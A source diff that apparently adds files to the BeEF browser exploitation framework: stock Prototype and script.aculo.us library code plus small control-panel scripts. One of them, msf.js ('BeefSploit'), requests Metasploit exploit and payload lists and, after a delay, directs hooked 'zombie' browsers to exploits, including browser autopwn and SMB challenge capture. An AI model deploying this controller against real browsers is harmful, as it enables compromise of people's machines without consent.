0.5; +} +Effect.Transitions.reverse = function(pos) { + return 1-pos; +} +Effect.Transitions.flicker = function(pos) { + return ((-Math.cos(pos*Math.PI)/4) + 0.75) + Math.random()/4; +} +Effect.Transitions.wobble = function(pos) { + return (-Math.cos(pos*Math.PI*(9*pos))/2) + 0.5; +} +Effect.Transitions.pulse = function(pos) { + return (Math.floor(pos*10) % 2 == 0 ? + (pos*10-Math.floor(pos*10)) : 1-(pos*10-Math.floor(pos*10))); +} +Effect.Transitions.none = function(pos) { + return 0; +} +Effect.Transitions.full = function(pos) { + return 1; +} + +/* ------------- core effects ------------- */ + +Effect.ScopedQueue = Class.create(); +Object.extend(Object.extend(Effect.ScopedQueue.prototype, Enumerable), { + initialize: function() { + this.effects = []; + this.interval = null; + }, + _each: function(iterator) { + this.effects._each(iterator); + }, + add: function(effect) { + var timestamp = new Date().getTime(); + + var position = (typeof effect.options.queue == 'string') ? + effect.options.queue : effect.options.queue.position; + + switch(position) { + case 'front': + // move unstarted effects after this effect + this.effects.findAll(function(e){ return e.state=='idle' }).each( function(e) { + e.startOn += effect.finishOn; + e.finishOn += effect.finishOn; + }); + break; + case 'end': + // start effect after last queued effect has finished + timestamp = this.effects.pluck('finishOn').max() || timestamp; + break; + } + + effect.startOn += timestamp; + effect.finishOn += timestamp; + + if(!effect.options.queue.limit || (this.effects.length < effect.options.queue.limit)) + this.effects.push(effect); + + if(!this.interval) + this.interval = setInterval(this.loop.bind(this), 40); + }, + remove: function(effect) { + this.effects = this.effects.reject(function(e) { return e==effect }); + if(this.effects.length == 0) { + clearInterval(this.interval); + this.interval = null; + } + }, + loop: function() { + var timePos = new Date().getTime(); + this.effects.invoke('loop', timePos); + } +}); + +Effect.Queues = { + instances: $H(), + get: function(queueName) { + if(typeof queueName != 'string') return queueName; + + if(!this.instances[queueName]) + this.instances[queueName] = new Effect.ScopedQueue(); + + return this.instances[queueName]; + } +} +Effect.Queue = Effect.Queues.get('global'); + +Effect.DefaultOptions = { + transition: Effect.Transitions.sinoidal, + duration: 1.0, // seconds + fps: 25.0, // max. 25fps due to Effect.Queue implementation + sync: false, // true for combining + from: 0.0, + to: 1.0, + delay: 0.0, + queue: 'parallel' +} + +Effect.Base = function() {}; +Effect.Base.prototype = { + position: null, + start: function(options) { + this.options = Object.extend(Object.extend({},Effect.DefaultOptions), options || {}); + this.currentFrame = 0; + this.state = 'idle'; + this.startOn = this.options.delay*1000; + this.finishOn = this.startOn + (this.options.duration*1000); + this.event('beforeStart'); + if(!this.options.sync) + Effect.Queues.get(typeof this.options.queue == 'string' ? + 'global' : this.options.queue.scope).add(this); + }, + loop: function(timePos) { + if(timePos >= this.startOn) { + if(timePos >= this.finishOn) { + this.render(1.0); + this.cancel(); + this.event('beforeFinish'); + if(this.finish) this.finish(); + this.event('afterFinish'); + return; + } + var pos = (timePos - this.startOn) / (this.finishOn - this.startOn); + var frame = Math.round(pos * this.options.fps * this.options.duration); + if(frame > this.currentFrame) { + this.render(pos); + this.currentFrame = frame; + } + } + }, + render: function(pos) { + if(this.state == 'idle') { + this.state = 'running'; + this.event('beforeSetup'); + if(this.setup) this.setup(); + this.event('afterSetup'); + } + if(this.state == 'running') { + if(this.options.transition) pos = this.options.transition(pos); + pos *= (this.options.to-this.options.from); + pos += this.options.from; + this.position = pos; + this.event('beforeUpdate'); + if(this.update) this.update(pos); + this.event('afterUpdate'); + } + }, + cancel: function() { + if(!this.options.sync) + Effect.Queues.get(typeof this.options.queue == 'string' ? + 'global' : this.options.queue.scope).remove(this); + this.state = 'finished'; + }, + event: function(eventName) { + if(this.options[eventName + 'Internal']) this.options[eventName + 'Internal'](this); + if(this.options[eventName]) this.options[eventName](this); + }, + inspect: function() { + return '#'; + } +} + +Effect.Parallel = Class.create(); +Object.extend(Object.extend(Effect.Parallel.prototype, Effect.Base.prototype), { + initialize: function(effects) { + this.effects = effects || []; + this.start(arguments[1]); + }, + update: function(position) { + this.effects.invoke('render', position); + }, + finish: function(position) { + this.effects.each( function(effect) { + effect.render(1.0); + effect.cancel(); + effect.event('beforeFinish'); + if(effect.finish) effect.finish(position); + effect.event('afterFinish'); + }); + } +}); + +Effect.Opacity = Class.create(); +Object.extend(Object.extend(Effect.Opacity.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + // make this work on IE on elements without 'layout' + if(/MSIE/.test(navigator.userAgent) && (!this.element.currentStyle.hasLayout)) + this.element.setStyle({zoom: 1}); + var options = Object.extend({ + from: this.element.getOpacity() || 0.0, + to: 1.0 + }, arguments[1] || {}); + this.start(options); + }, + update: function(position) { + this.element.setOpacity(position); + } +}); + +Effect.Move = Class.create(); +Object.extend(Object.extend(Effect.Move.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + var options = Object.extend({ + x: 0, + y: 0, + mode: 'relative' + }, arguments[1] || {}); + this.start(options); + }, + setup: function() { + // Bug in Opera: Opera returns the "real" position of a static element or + // relative element that does not have top/left explicitly set. + // ==> Always set top and left for position relative elements in your stylesheets + // (to 0 if you do not need them) + this.element.makePositioned(); + this.originalLeft = parseFloat(this.element.getStyle('left') || '0'); + this.originalTop = parseFloat(this.element.getStyle('top') || '0'); + if(this.options.mode == 'absolute') { + // absolute movement, so we need to calc deltaX and deltaY + this.options.x = this.options.x - this.originalLeft; + this.options.y = this.options.y - this.originalTop; + } + }, + update: function(position) { + this.element.setStyle({ + left: Math.round(this.options.x * position + this.originalLeft) + 'px', + top: Math.round(this.options.y * position + this.originalTop) + 'px' + }); + } +}); + +// for backwards compatibility +Effect.MoveBy = function(element, toTop, toLeft) { + return new Effect.Move(element, + Object.extend({ x: toLeft, y: toTop }, arguments[3] || {})); +}; + +Effect.Scale = Class.create(); +Object.extend(Object.extend(Effect.Scale.prototype, Effect.Base.prototype), { + initialize: function(element, percent) { + this.element = $(element) + var options = Object.extend({ + scaleX: true, + scaleY: true, + scaleContent: true, + scaleFromCenter: false, + scaleMode: 'box', // 'box' or 'contents' or {} with provided values + scaleFrom: 100.0, + scaleTo: percent + }, arguments[2] || {}); + this.start(options); + }, + setup: function() { + this.restoreAfterFinish = this.options.restoreAfterFinish || false; + this.elementPositioning = this.element.getStyle('position'); + + this.originalStyle = {}; + ['top','left','width','height','fontSize'].each( function(k) { + this.originalStyle[k] = this.element.style[k]; + }.bind(this)); + + this.originalTop = this.element.offsetTop; + this.originalLeft = this.element.offsetLeft; + + var fontSize = this.element.getStyle('font-size') || '100%'; + ['em','px','%','pt'].each( function(fontSizeType) { + if(fontSize.indexOf(fontSizeType)>0) { + this.fontSize = parseFloat(fontSize); + this.fontSizeType = fontSizeType; + } + }.bind(this)); + + this.factor = (this.options.scaleTo - this.options.scaleFrom)/100; + + this.dims = null; + if(this.options.scaleMode=='box') + this.dims = [this.element.offsetHeight, this.element.offsetWidth]; + if(/^content/.test(this.options.scaleMode)) + this.dims = [this.element.scrollHeight, this.element.scrollWidth]; + if(!this.dims) + this.dims = [this.options.scaleMode.originalHeight, + this.options.scaleMode.originalWidth]; + }, + update: function(position) { + var currentScale = (this.options.scaleFrom/100.0) + (this.factor * position); + if(this.options.scaleContent && this.fontSize) + this.element.setStyle({fontSize: this.fontSize * currentScale + this.fontSizeType }); + this.setDimensions(this.dims[0] * currentScale, this.dims[1] * currentScale); + }, + finish: function(position) { + if (this.restoreAfterFinish) this.element.setStyle(this.originalStyle); + }, + setDimensions: function(height, width) { + var d = {}; + if(this.options.scaleX) d.width = Math.round(width) + 'px'; + if(this.options.scaleY) d.height = Math.round(height) + 'px'; + if(this.options.scaleFromCenter) { + var topd = (height - this.dims[0])/2; + var leftd = (width - this.dims[1])/2; + if(this.elementPositioning == 'absolute') { + if(this.options.scaleY) d.top = this.originalTop-topd + 'px'; + if(this.options.scaleX) d.left = this.originalLeft-leftd + 'px'; + } else { + if(this.options.scaleY) d.top = -topd + 'px'; + if(this.options.scaleX) d.left = -leftd + 'px'; + } + } + this.element.setStyle(d); + } +}); + +Effect.Highlight = Class.create(); +Object.extend(Object.extend(Effect.Highlight.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + var options = Object.extend({ startcolor: '#ffff99' }, arguments[1] || {}); + this.start(options); + }, + setup: function() { + // Prevent executing on elements not in the layout flow + if(this.element.getStyle('display')=='none') { this.cancel(); return; } + // Disable background image during the effect + this.oldStyle = { + backgroundImage: this.element.getStyle('background-image') }; + this.element.setStyle({backgroundImage: 'none'}); + if(!this.options.endcolor) + this.options.endcolor = this.element.getStyle('background-color').parseColor('#ffffff'); + if(!this.options.restorecolor) + this.options.restorecolor = this.element.getStyle('background-color'); + // init color calculations + this._base = $R(0,2).map(function(i){ return parseInt(this.options.startcolor.slice(i*2+1,i*2+3),16) }.bind(this)); + this._delta = $R(0,2).map(function(i){ return parseInt(this.options.endcolor.slice(i*2+1,i*2+3),16)-this._base[i] }.bind(this)); + }, + update: function(position) { + this.element.setStyle({backgroundColor: $R(0,2).inject('#',function(m,v,i){ + return m+(Math.round(this._base[i]+(this._delta[i]*position)).toColorPart()); }.bind(this)) }); + }, + finish: function() { + this.element.setStyle(Object.extend(this.oldStyle, { + backgroundColor: this.options.restorecolor + })); + } +}); + +Effect.ScrollTo = Class.create(); +Object.extend(Object.extend(Effect.ScrollTo.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + this.start(arguments[1] || {}); + }, + setup: function() { + Position.prepare(); + var offsets = Position.cumulativeOffset(this.element); + if(this.options.offset) offsets[1] += this.options.offset; + var max = window.innerHeight ? + window.height - window.innerHeight : + document.body.scrollHeight - + (document.documentElement.clientHeight ? + document.documentElement.clientHeight : document.body.clientHeight); + this.scrollStart = Position.deltaY; + this.delta = (offsets[1] > max ? max : offsets[1]) - this.scrollStart; + }, + update: function(position) { + Position.prepare(); + window.scrollTo(Position.deltaX, + this.scrollStart + (position*this.delta)); + } +}); + +/* ------------- combination effects ------------- */ + +Effect.Fade = function(element) { + element = $(element); + var oldOpacity = element.getInlineOpacity(); + var options = Object.extend({ + from: element.getOpacity() || 1.0, + to: 0.0, + afterFinishInternal: function(effect) { + if(effect.options.to!=0) return; + effect.element.hide(); + effect.element.setStyle({opacity: oldOpacity}); + }}, arguments[1] || {}); + return new Effect.Opacity(element,options); +} + +Effect.Appear = function(element) { + element = $(element); + var options = Object.extend({ + from: (element.getStyle('display') == 'none' ? 0.0 : element.getOpacity() || 0.0), + to: 1.0, + // force Safari to render floated elements properly + afterFinishInternal: function(effect) { + effect.element.forceRerendering(); + }, + beforeSetup: function(effect) { + effect.element.setOpacity(effect.options.from); + effect.element.show(); + }}, arguments[1] || {}); + return new Effect.Opacity(element,options); +} + +Effect.Puff = function(element) { + element = $(element); + var oldStyle = { opacity: element.getInlineOpacity(), position: element.getStyle('position') }; + return new Effect.Parallel( + [ new Effect.Scale(element, 200, + { sync: true, scaleFromCenter: true, scaleContent: true, restoreAfterFinish: true }), + new Effect.Opacity(element, { sync: true, to: 0.0 } ) ], + Object.extend({ duration: 1.0, + beforeSetupInternal: function(effect) { + effect.effects[0].element.setStyle({position: 'absolute'}); }, + afterFinishInternal: function(effect) { + effect.effects[0].element.hide(); + effect.effects[0].element.setStyle(oldStyle); } + }, arguments[1] || {}) + ); +} + +Effect.BlindUp = function(element) { + element = $(element); + element.makeClipping(); + return new Effect.Scale(element, 0, + Object.extend({ scaleContent: false, + scaleX: false, + restoreAfterFinish: true, + afterFinishInternal: function(effect) { + effect.element.hide(); + effect.element.undoClipping(); + } + }, arguments[1] || {}) + ); +} + +Effect.BlindDown = function(element) { + element = $(element); + var elementDimensions = element.getDimensions(); + return new Effect.Scale(element, 100, Object.extend({ + scaleContent: false, + scaleX: false, + scaleFrom: 0, + scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width}, + restoreAfterFinish: true, + afterSetup: function(effect) { + effect.element.makeClipping(); + effect.element.setStyle({height: '0px'}); + effect.element.show(); + }, + afterFinishInternal: function(effect) { + effect.element.undoClipping(); + } + }, arguments[1] || {})); +} + +Effect.SwitchOff = function(element) { + element = $(element); + var oldOpacity = element.getInlineOpacity(); + return new Effect.Appear(element, Object.extend({ + duration: 0.4, + from: 0, + transition: Effect.Transitions.flicker, + afterFinishInternal: function(effect) { + new Effect.Scale(effect.element, 1, { + duration: 0.3, scaleFromCenter: true, + scaleX: false, scaleContent: false, restoreAfterFinish: true, + beforeSetup: function(effect) { + effect.element.makePositioned(); + effect.element.makeClipping(); + }, + afterFinishInternal: function(effect) { + effect.element.hide(); + effect.element.undoClipping(); + effect.element.undoPositioned(); + effect.element.setStyle({opacity: oldOpacity}); + } + }) + } + }, arguments[1] || {})); +} + +Effect.DropOut = function(element) { + element = $(element); + var oldStyle = { + top: element.getStyle('top'), + left: element.getStyle('left'), + opacity: element.getInlineOpacity() }; + return new Effect.Parallel( + [ new Effect.Move(element, {x: 0, y: 100, sync: true }), + new Effect.Opacity(element, { sync: true, to: 0.0 }) ], + Object.extend( + { duration: 0.5, + beforeSetup: function(effect) { + effect.effects[0].element.makePositioned(); + }, + afterFinishInternal: function(effect) { + effect.effects[0].element.hide(); + effect.effects[0].element.undoPositioned(); + effect.effects[0].element.setStyle(oldStyle); + } + }, arguments[1] || {})); +} + +Effect.Shake = function(element) { + element = $(element); + var oldStyle = { + top: element.getStyle('top'), + left: element.getStyle('left') }; + return new Effect.Move(element, + { x: 20, y: 0, duration: 0.05, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: -40, y: 0, duration: 0.1, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: 40, y: 0, duration: 0.1, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: -40, y: 0, duration: 0.1, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: 40, y: 0, duration: 0.1, afterFinishInternal: function(effect) { + new Effect.Move(effect.element, + { x: -20, y: 0, duration: 0.05, afterFinishInternal: function(effect) { + effect.element.undoPositioned(); + effect.element.setStyle(oldStyle); + }}) }}) }}) }}) }}) }}); +} + +Effect.SlideDown = function(element) { + element = $(element); + element.cleanWhitespace(); + // SlideDown need to have the content of the element wrapped in a container element with fixed height! + var oldInnerBottom = $(element.firstChild).getStyle('bottom'); + var elementDimensions = element.getDimensions(); + return new Effect.Scale(element, 100, Object.extend({ + scaleContent: false, + scaleX: false, + scaleFrom: window.opera ? 0 : 1, + scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width}, + restoreAfterFinish: true, + afterSetup: function(effect) { + effect.element.makePositioned(); + effect.element.firstChild.makePositioned(); + if(window.opera) effect.element.setStyle({top: ''}); + effect.element.makeClipping(); + effect.element.setStyle({height: '0px'}); + effect.element.show(); }, + afterUpdateInternal: function(effect) { + effect.element.firstChild.setStyle({bottom: + (effect.dims[0] - effect.element.clientHeight) + 'px' }); + }, + afterFinishInternal: function(effect) { + effect.element.undoClipping(); + // IE will crash if child is undoPositioned first + if(/MSIE/.test(navigator.userAgent)){ + effect.element.undoPositioned(); + effect.element.firstChild.undoPositioned(); + }else{ + effect.element.firstChild.undoPositioned(); + effect.element.undoPositioned(); + } + effect.element.firstChild.setStyle({bottom: oldInnerBottom}); } + }, arguments[1] || {}) + ); +} + +Effect.SlideUp = function(element) { + element = $(element); + element.cleanWhitespace(); + var oldInnerBottom = $(element.firstChild).getStyle('bottom'); + return new Effect.Scale(element, window.opera ? 0 : 1, + Object.extend({ scaleContent: false, + scaleX: false, + scaleMode: 'box', + scaleFrom: 100, + restoreAfterFinish: true, + beforeStartInternal: function(effect) { + effect.element.makePositioned(); + effect.element.firstChild.makePositioned(); + if(window.opera) effect.element.setStyle({top: ''}); + effect.element.makeClipping(); + effect.element.show(); }, + afterUpdateInternal: function(effect) { + effect.element.firstChild.setStyle({bottom: + (effect.dims[0] - effect.element.clientHeight) + 'px' }); }, + afterFinishInternal: function(effect) { + effect.element.hide(); + effect.element.undoClipping(); + effect.element.firstChild.undoPositioned(); + effect.element.undoPositioned(); + effect.element.setStyle({bottom: oldInnerBottom}); } + }, arguments[1] || {}) + ); +} + +// Bug in opera makes the TD containing this element expand for a instance after finish +Effect.Squish = function(element) { + return new Effect.Scale(element, window.opera ? 1 : 0, + { restoreAfterFinish: true, + beforeSetup: function(effect) { + effect.element.makeClipping(effect.element); }, + afterFinishInternal: function(effect) { + effect.element.hide(effect.element); + effect.element.undoClipping(effect.element); } + }); +} + +Effect.Grow = function(element) { + element = $(element); + var options = Object.extend({ + direction: 'center', + moveTransition: Effect.Transitions.sinoidal, + scaleTransition: Effect.Transitions.sinoidal, + opacityTransition: Effect.Transitions.full + }, arguments[1] || {}); + var oldStyle = { + top: element.style.top, + left: element.style.left, + height: element.style.height, + width: element.style.width, + opacity: element.getInlineOpacity() }; + + var dims = element.getDimensions(); + var initialMoveX, initialMoveY; + var moveX, moveY; + + switch (options.direction) { + case 'top-left': + initialMoveX = initialMoveY = moveX = moveY = 0; + break; + case 'top-right': + initialMoveX = dims.width; + initialMoveY = moveY = 0; + moveX = -dims.width; + break; + case 'bottom-left': + initialMoveX = moveX = 0; + initialMoveY = dims.height; + moveY = -dims.height; + break; + case 'bottom-right': + initialMoveX = dims.width; + initialMoveY = dims.height; + moveX = -dims.width; + moveY = -dims.height; + break; + case 'center': + initialMoveX = dims.width / 2; + initialMoveY = dims.height / 2; + moveX = -dims.width / 2; + moveY = -dims.height / 2; + break; + } + + return new Effect.Move(element, { + x: initialMoveX, + y: initialMoveY, + duration: 0.01, + beforeSetup: function(effect) { + effect.element.hide(); + effect.element.makeClipping(); + effect.element.makePositioned(); + }, + afterFinishInternal: function(effect) { + new Effect.Parallel( + [ new Effect.Opacity(effect.element, { sync: true, to: 1.0, from: 0.0, transition: options.opacityTransition }), + new Effect.Move(effect.element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition }), + new Effect.Scale(effect.element, 100, { + scaleMode: { originalHeight: dims.height, originalWidth: dims.width }, + sync: true, scaleFrom: window.opera ? 1 : 0, transition: options.scaleTransition, restoreAfterFinish: true}) + ], Object.extend({ + beforeSetup: function(effect) { + effect.effects[0].element.setStyle({height: '0px'}); + effect.effects[0].element.show(); + }, + afterFinishInternal: function(effect) { + effect.effects[0].element.undoClipping(); + effect.effects[0].element.undoPositioned(); + effect.effects[0].element.setStyle(oldStyle); + } + }, options) + ) + } + }); +} + +Effect.Shrink = function(element) { + element = $(element); + var options = Object.extend({ + direction: 'center', + moveTransition: Effect.Transitions.sinoidal, + scaleTransition: Effect.Transitions.sinoidal, + opacityTransition: Effect.Transitions.none + }, arguments[1] || {}); + var oldStyle = { + top: element.style.top, + left: element.style.left, + height: element.style.height, + width: element.style.width, + opacity: element.getInlineOpacity() }; + + var dims = element.getDimensions(); + var moveX, moveY; + + switch (options.direction) { + case 'top-left': + moveX = moveY = 0; + break; + case 'top-right': + moveX = dims.width; + moveY = 0; + break; + case 'bottom-left': + moveX = 0; + moveY = dims.height; + break; + case 'bottom-right': + moveX = dims.width; + moveY = dims.height; + break; + case 'center': + moveX = dims.width / 2; + moveY = dims.height / 2; + break; + } + + return new Effect.Parallel( + [ new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0, transition: options.opacityTransition }), + new Effect.Scale(element, window.opera ? 1 : 0, { sync: true, transition: options.scaleTransition, restoreAfterFinish: true}), + new Effect.Move(element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition }) + ], Object.extend({ + beforeStartInternal: function(effect) { + effect.effects[0].element.makePositioned(); + effect.effects[0].element.makeClipping(); }, + afterFinishInternal: function(effect) { + effect.effects[0].element.hide(); + effect.effects[0].element.undoClipping(); + effect.effects[0].element.undoPositioned(); + effect.effects[0].element.setStyle(oldStyle); } + }, options) + ); +} + +Effect.Pulsate = function(element) { + element = $(element); + var options = arguments[1] || {}; + var oldOpacity = element.getInlineOpacity(); + var transition = options.transition || Effect.Transitions.sinoidal; + var reverser = function(pos){ return transition(1-Effect.Transitions.pulse(pos)) }; + reverser.bind(transition); + return new Effect.Opacity(element, + Object.extend(Object.extend({ duration: 3.0, from: 0, + afterFinishInternal: function(effect) { effect.element.setStyle({opacity: oldOpacity}); } + }, options), {transition: reverser})); +} + +Effect.Fold = function(element) { + element = $(element); + var oldStyle = { + top: element.style.top, + left: element.style.left, + width: element.style.width, + height: element.style.height }; + Element.makeClipping(element); + return new Effect.Scale(element, 5, Object.extend({ + scaleContent: false, + scaleX: false, + afterFinishInternal: function(effect) { + new Effect.Scale(element, 1, { + scaleContent: false, + scaleY: false, + afterFinishInternal: function(effect) { + effect.element.hide(); + effect.element.undoClipping(); + effect.element.setStyle(oldStyle); + } }); + }}, arguments[1] || {})); +}; + +['setOpacity','getOpacity','getInlineOpacity','forceRerendering','setContentZoom', + 'collectTextNodes','collectTextNodesIgnoreClass','childrenWithClassName'].each( + function(f) { Element.Methods[f] = Element[f]; } +); + +Element.Methods.visualEffect = function(element, effect, options) { + s = effect.gsub(/_/, '-').camelize(); + effect_class = s.charAt(0).toUpperCase() + s.substring(1); + new Effect[effect_class](element, options); + return $(element); +}; + +Element.addMethods(); \ No newline at end of file diff --git a/js/log.js b/js/log.js new file mode 100644 index 000000000..077ef50ea --- /dev/null +++ b/js/log.js @@ -0,0 +1,30 @@ +// Copyright (c) 2006-2009, Wade Alcorn +// All Rights Reserved +// wade@bindshell.net - http://www.bindshell.net + +function refreshlog() { + new Ajax.Updater('logdata', 'logcontrol.php?action=refresh', {asynchronous:true}); + update_log_div('logdyn', 'summary'); +} + +function clearlog() { + new Ajax.Updater('logdata', 'logcontrol.php?action=clear', {asynchronous:false}); + refreshlog(); +} + +function update_log_div(div, action) { + new Ajax.Updater(div, 'logcontrol.php?action=' + action, {asynchronous:true}); +} + +// --[ LOG CLASS +var Log = Class.create(); +Log.prototype = { + initialize: function(frequency) { + this.version = '0.1', + this.authors = 'Wade Alcorn ', + this.frequency = frequency + }, + heartbeat: function() { + update_log_div('logdyn', 'summary'); + } +} \ No newline at end of file diff --git a/js/module.js b/js/module.js new file mode 100644 index 000000000..11148746e --- /dev/null +++ b/js/module.js @@ -0,0 +1,25 @@ +// Copyright (c) 2006-2009, Wade Alcorn +// All Rights Reserved +// wade@bindshell.net - http://www.bindshell.net + +// --[ ZOMBIELIST CLASS +var Module = Class.create(); +Module.prototype = { + initialize: function(frequency) { + this.version = '0.1', + this.authors = 'Wade Alcorn ', + this.frequency = frequency, + + this.id = 0; + }, + heartbeat: function() { + new Ajax.Updater('module_results_section', 'get_module_details.php?action=get&result_id=' + this.id, {asynchronous:true}); + }, + delete_results: function() { + new Ajax.Updater('module_results_section', 'get_module_details.php?action=delete&result_id=' + this.id, {asynchronous:true}); + this.heartbeat(); + }, + set_results_id: function(id) { + this.id = id; + } +} diff --git a/js/msf.js b/js/msf.js new file mode 100644 index 000000000..207061ff0 --- /dev/null +++ b/js/msf.js @@ -0,0 +1,115 @@ +// Javascript for BeefSploit modules +// By Ryan Linn (sussurro@happypacket.net) +// Excuse the mess, we are remodeling + +var exploit_delay = 20000; + +// --[ MSF GET EXPLOIT LIST +// get the list of exploits +function msf_get_exploit_list() { + url = 'action=getexploits'; + msf_request(url, 'exploits', msf_get_payload_list); +} + +// --[ MSF GET PAYLOAD LIST +// get relevant payload list +function msf_get_payload_list() { + + url = 'action=getpayloads&exploit=' + $('exploit').value; + + msf_request(url, 'payloads', msf_get_options); +} + +// --[ MSG GET OPTIONS +// get relevant options for exploit and payload +function msf_get_options() { + + url = 'action=getoptions&exploit=' + $('exploit').value + "&payload=" + $('payload').value; + + msf_request(url, 'options', null); + +} + +// --[ MSF REQUEST +// generic request for msf data and actions +function msf_request(param_string, update_div, on_success_function) { + + new Ajax.Request('msf.php?' + param_string, + { + method:'get', + onSuccess: function(transport){ + // update div + if( (update_div != undefined) && (update_div != null) ) { + $(update_div).innerHTML = transport.responseText; + } + // onsuccess fuction + if( (on_success_function != undefined) && (on_success_function != null) ) { + on_success_function(transport.responseText); + } + }, + asynchronous:true + }); +} + +// --[ MSF EXPLOIT +// after a delay direct selected zombies to the exploit +function msf_exploit(responseText) { + window.setTimeout('Element.Methods.construct_code("' + responseText + '")', exploit_delay); +} + +function msf_callAuxiliary() { + + opts = form_to_params(); + + url = 'action=auxiliary&' + opts; + + msf_request(url, null, msf_exploit); + +} + +function msf_smb_challenge_capture() { + + opts = form_to_params(); + + url = 'action=smbchallengecapture&' + opts; + + msf_request(url, null, msf_exploit); +} + +function msf_browser_autopwn() { + + opts = form_to_params(); + + url = 'action=browserautopwn&' + opts; + + msf_request(url, null, msf_exploit); +} + +function msf_execute_module() { + + opts = form_to_params(); + + url = 'action=exploit&' + opts; + + msf_request(url, null, msf_exploit); +} + +// --[ FORM TO PARAMS +// convert the form to a URL params string and return it +function form_to_params() { + var opts = ""; + for(i = 0; i < document.myform.elements.length; i++) { + if(document.myform.elements[i].name != "" && document.myform.elements[i].value != "") { + if(document.myform.elements[i].type == "checkbox" && document.myform.elements[i].checked == false) { + continue; + } + if(i > 0 ) { + opts = opts + "&"; + } + opts = opts + document.myform.elements[i].name + "="; + opts = opts + document.myform.elements[i].value; + } + } + return opts; + +} diff --git a/js/prototype.js b/js/prototype.js new file mode 100644 index 000000000..0caf9cd7f --- /dev/null +++ b/js/prototype.js @@ -0,0 +1,2006 @@ +/* Prototype JavaScript framework, version 1.5.0_rc0 + * (c) 2005 Sam Stephenson + * + * Prototype is freely distributable under the terms of an MIT-style license. + * For details, see the Prototype web site: http://prototype.conio.net/ + * +/*--------------------------------------------------------------------------*/ + +var Prototype = { + Version: '1.5.0_rc0', + ScriptFragment: '(?:)((\n|\r|.)*?)(?:<\/script>)', + + emptyFunction: function() {}, + K: function(x) {return x} +} + +var Class = { + create: function() { + return function() { + this.initialize.apply(this, arguments); + } + } +} + +var Abstract = new Object(); + +Object.extend = function(destination, source) { + for (var property in source) { + destination[property] = source[property]; + } + return destination; +} + +Object.inspect = function(object) { + try { + if (object == undefined) return 'undefined'; + if (object == null) return 'null'; + return object.inspect ? object.inspect() : object.toString(); + } catch (e) { + if (e instanceof RangeError) return '...'; + throw e; + } +} + +Function.prototype.bind = function() { + var __method = this, args = $A(arguments), object = args.shift(); + return function() { + return __method.apply(object, args.concat($A(arguments))); + } +} + +Function.prototype.bindAsEventListener = function(object) { + var __method = this; + return function(event) { + return __method.call(object, event || window.event); + } +} + +Object.extend(Number.prototype, { + toColorPart: function() { + var digits = this.toString(16); + if (this < 16) return '0' + digits; + return digits; + }, + + succ: function() { + return this + 1; + }, + + times: function(iterator) { + $R(0, this, true).each(iterator); + return this; + } +}); + +var Try = { + these: function() { + var returnValue; + + for (var i = 0; i < arguments.length; i++) { + var lambda = arguments[i]; + try { + returnValue = lambda(); + break; + } catch (e) {} + } + + return returnValue; + } +} + +/*--------------------------------------------------------------------------*/ + +var PeriodicalExecuter = Class.create(); +PeriodicalExecuter.prototype = { + initialize: function(callback, frequency) { + this.callback = callback; + this.frequency = frequency; + this.currentlyExecuting = false; + + this.registerCallback(); + }, + + registerCallback: function() { + setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); + }, + + onTimerEvent: function() { + if (!this.currentlyExecuting) { + try { + this.currentlyExecuting = true; + this.callback(); + } finally { + this.currentlyExecuting = false; + } + } + } +} +Object.extend(String.prototype, { + gsub: function(pattern, replacement) { + var result = '', source = this, match; + replacement = arguments.callee.prepareReplacement(replacement); + + while (source.length > 0) { + if (match = source.match(pattern)) { + result += source.slice(0, match.index); + result += (replacement(match) || '').toString(); + source = source.slice(match.index + match[0].length); + } else { + result += source, source = ''; + } + } + return result; + }, + + sub: function(pattern, replacement, count) { + replacement = this.gsub.prepareReplacement(replacement); + count = count === undefined ? 1 : count; + + return this.gsub(pattern, function(match) { + if (--count < 0) return match[0]; + return replacement(match); + }); + }, + + scan: function(pattern, iterator) { + this.gsub(pattern, iterator); + return this; + }, + + truncate: function(length, truncation) { + length = length || 30; + truncation = truncation === undefined ? '...' : truncation; + return this.length > length ? + this.slice(0, length - truncation.length) + truncation : this; + }, + + strip: function() { + return this.replace(/^\s+/, '').replace(/\s+$/, ''); + }, + + stripTags: function() { + return this.replace(/<\/?[^>]+>/gi, ''); + }, + + stripScripts: function() { + return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); + }, + + extractScripts: function() { + var matchAll = new RegExp(Prototype.ScriptFragment, 'img'); + var matchOne = new RegExp(Prototype.ScriptFragment, 'im'); + return (this.match(matchAll) || []).map(function(scriptTag) { + return (scriptTag.match(matchOne) || ['', ''])[1]; + }); + }, + + evalScripts: function() { + return this.extractScripts().map(function(script) { return eval(script) }); + }, + + escapeHTML: function() { + var div = document.createElement('div'); + var text = document.createTextNode(this); + div.appendChild(text); + return div.innerHTML; + }, + + unescapeHTML: function() { + var div = document.createElement('div'); + div.innerHTML = this.stripTags(); + return div.childNodes[0] ? div.childNodes[0].nodeValue : ''; + }, + + toQueryParams: function() { + var pairs = this.match(/^\??(.*)$/)[1].split('&'); + return pairs.inject({}, function(params, pairString) { + var pair = pairString.split('='); + params[pair[0]] = pair[1]; + return params; + }); + }, + + toArray: function() { + return this.split(''); + }, + + camelize: function() { + var oStringList = this.split('-'); + if (oStringList.length == 1) return oStringList[0]; + + var camelizedString = this.indexOf('-') == 0 + ? oStringList[0].charAt(0).toUpperCase() + oStringList[0].substring(1) + : oStringList[0]; + + for (var i = 1, len = oStringList.length; i < len; i++) { + var s = oStringList[i]; + camelizedString += s.charAt(0).toUpperCase() + s.substring(1); + } + + return camelizedString; + }, + + inspect: function() { + return "'" + this.replace(/\\/g, '\\\\').replace(/'/g, '\\\'') + "'"; + } +}); + +String.prototype.gsub.prepareReplacement = function(replacement) { + if (typeof replacement == 'function') return replacement; + var template = new 